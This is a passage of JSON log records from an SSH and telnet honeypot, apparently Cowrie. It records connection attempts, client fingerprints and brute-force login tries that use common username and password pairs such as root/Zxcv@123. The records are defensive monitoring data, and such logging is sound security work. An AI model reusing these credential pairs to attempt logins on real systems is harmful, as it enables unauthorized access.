28-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:40.870827Z","src_ip":"152.200.205.179","session":"68864f7fe6a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:41.258264Z","src_ip":"8.210.75.243","session":"c5c03a8e35d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcv@123","message":"login attempt [root/Zxcv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:41.294368Z","src_ip":"152.200.205.179","session":"68864f7fe6a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:42.394165Z","src_ip":"152.200.205.179","session":"68864f7fe6a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.84","src_port":46964,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2942afefd62","protocol":"ssh","message":"New connection: 193.32.162.84:46964 (10.17.0.5:22) [session: d2942afefd62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:44.149867Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:44.253990Z","src_ip":"193.32.162.84","session":"d2942afefd62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50936,"dst_ip":"159.203.135.109","dst_port":23,"session":"172556f3ce76","protocol":"telnet","message":"New connection: 170.64.224.25:50936 (159.203.135.109:23) [session: 172556f3ce76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:45.541581Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":46446,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef831dd9a833","protocol":"ssh","message":"New connection: 105.27.148.94:46446 (10.17.0.5:22) [session: ef831dd9a833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:45.565735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:45.572064Z","src_ip":"105.27.148.94","session":"ef831dd9a833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:45.785135Z","src_ip":"105.27.148.94","session":"ef831dd9a833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123$","message":"login attempt [root/Test123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:46.673170Z","src_ip":"105.27.148.94","session":"ef831dd9a833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:47.889234Z","src_ip":"105.27.148.94","session":"ef831dd9a833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":44002,"dst_ip":"159.203.135.109","dst_port":22,"session":"66170bddad9f","protocol":"ssh","message":"New connection: 159.65.58.200:44002 (159.203.135.109:22) [session: 66170bddad9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:56.002593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:56.203638Z","src_ip":"159.65.58.200","session":"66170bddad9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:56.206758Z","src_ip":"159.65.58.200","session":"66170bddad9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shuvalov","password":"123456","message":"login attempt [shuvalov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:57.435855Z","src_ip":"159.65.58.200","session":"66170bddad9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:58.709169Z","src_ip":"159.65.58.200","session":"66170bddad9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60932,"dst_ip":"10.17.0.5","dst_port":22,"session":"f68b3721c01c","protocol":"ssh","message":"New connection: 8.210.75.243:60932 (10.17.0.5:22) [session: f68b3721c01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:59.320003Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":38592,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2b3abbdb780","protocol":"ssh","message":"New connection: 87.106.29.151:38592 (10.17.0.5:22) [session: d2b3abbdb780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:01.000338Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":34534,"dst_ip":"159.203.135.109","dst_port":22,"session":"d18dda5f6132","protocol":"ssh","message":"New connection: 192.169.249.148:34534 (159.203.135.109:22) [session: d18dda5f6132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:01.005915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:01.009110Z","src_ip":"87.106.29.151","session":"d2b3abbdb780","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:01.014001Z","src_ip":"192.169.249.148","session":"d18dda5f6132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:01.079767Z","src_ip":"192.169.249.148","session":"d18dda5f6132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:01.105282Z","src_ip":"87.106.29.151","session":"d2b3abbdb780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gavin","password":"gavin789","message":"login attempt [gavin/gavin789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:01.279262Z","src_ip":"192.169.249.148","session":"d18dda5f6132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5tgbnhy6","message":"login attempt [root/5tgbnhy6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:01.509176Z","src_ip":"87.106.29.151","session":"d2b3abbdb780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:02.348715Z","src_ip":"192.169.249.148","session":"d18dda5f6132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:02.605983Z","src_ip":"87.106.29.151","session":"d2b3abbdb780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":37626,"dst_ip":"159.203.135.109","dst_port":22,"session":"aade2c9eff3b","protocol":"ssh","message":"New connection: 103.199.16.90:37626 (159.203.135.109:22) [session: aade2c9eff3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:05.872638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:05.881778Z","src_ip":"103.199.16.90","session":"aade2c9eff3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:06.104785Z","src_ip":"103.199.16.90","session":"aade2c9eff3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aster","password":"aster123","message":"login attempt [aster/aster123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:07.012556Z","src_ip":"103.199.16.90","session":"aade2c9eff3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:08.243827Z","src_ip":"103.199.16.90","session":"aade2c9eff3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":50566,"dst_ip":"159.203.135.109","dst_port":22,"session":"711c63b20bdc","protocol":"ssh","message":"New connection: 91.92.40.13:50566 (159.203.135.109:22) [session: 711c63b20bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:19.693166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:19.719528Z","src_ip":"91.92.40.13","session":"711c63b20bdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:19.798030Z","src_ip":"91.92.40.13","session":"711c63b20bdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.69.150","src_port":39030,"dst_ip":"10.17.0.5","dst_port":22,"session":"16a3ccfc662e","protocol":"ssh","message":"New connection: 138.124.69.150:39030 (10.17.0.5:22) [session: 16a3ccfc662e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:20.074087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:20.078212Z","src_ip":"138.124.69.150","session":"16a3ccfc662e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:20.218128Z","src_ip":"138.124.69.150","session":"16a3ccfc662e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:20.393281Z","src_ip":"91.92.40.13","session":"711c63b20bdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDF!@#$","message":"login attempt [root/ASDF!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:20.805907Z","src_ip":"138.124.69.150","session":"16a3ccfc662e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:21.533880Z","src_ip":"91.92.40.13","session":"711c63b20bdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:21.946964Z","src_ip":"138.124.69.150","session":"16a3ccfc662e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.31875276565552,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:26.860226Z","src_ip":"170.64.224.25","session":"172556f3ce76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52206,"dst_ip":"159.203.135.109","dst_port":23,"session":"cceb4fe6e726","protocol":"telnet","message":"New connection: 170.64.224.25:52206 (159.203.135.109:23) [session: cceb4fe6e726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:28.203928Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":53118,"dst_ip":"159.203.135.109","dst_port":22,"session":"76b933c31fed","protocol":"ssh","message":"New connection: 162.241.239.241:53118 (159.203.135.109:22) [session: 76b933c31fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:36.098793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:44:36.102561Z","src_ip":"162.241.239.241","session":"76b933c31fed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v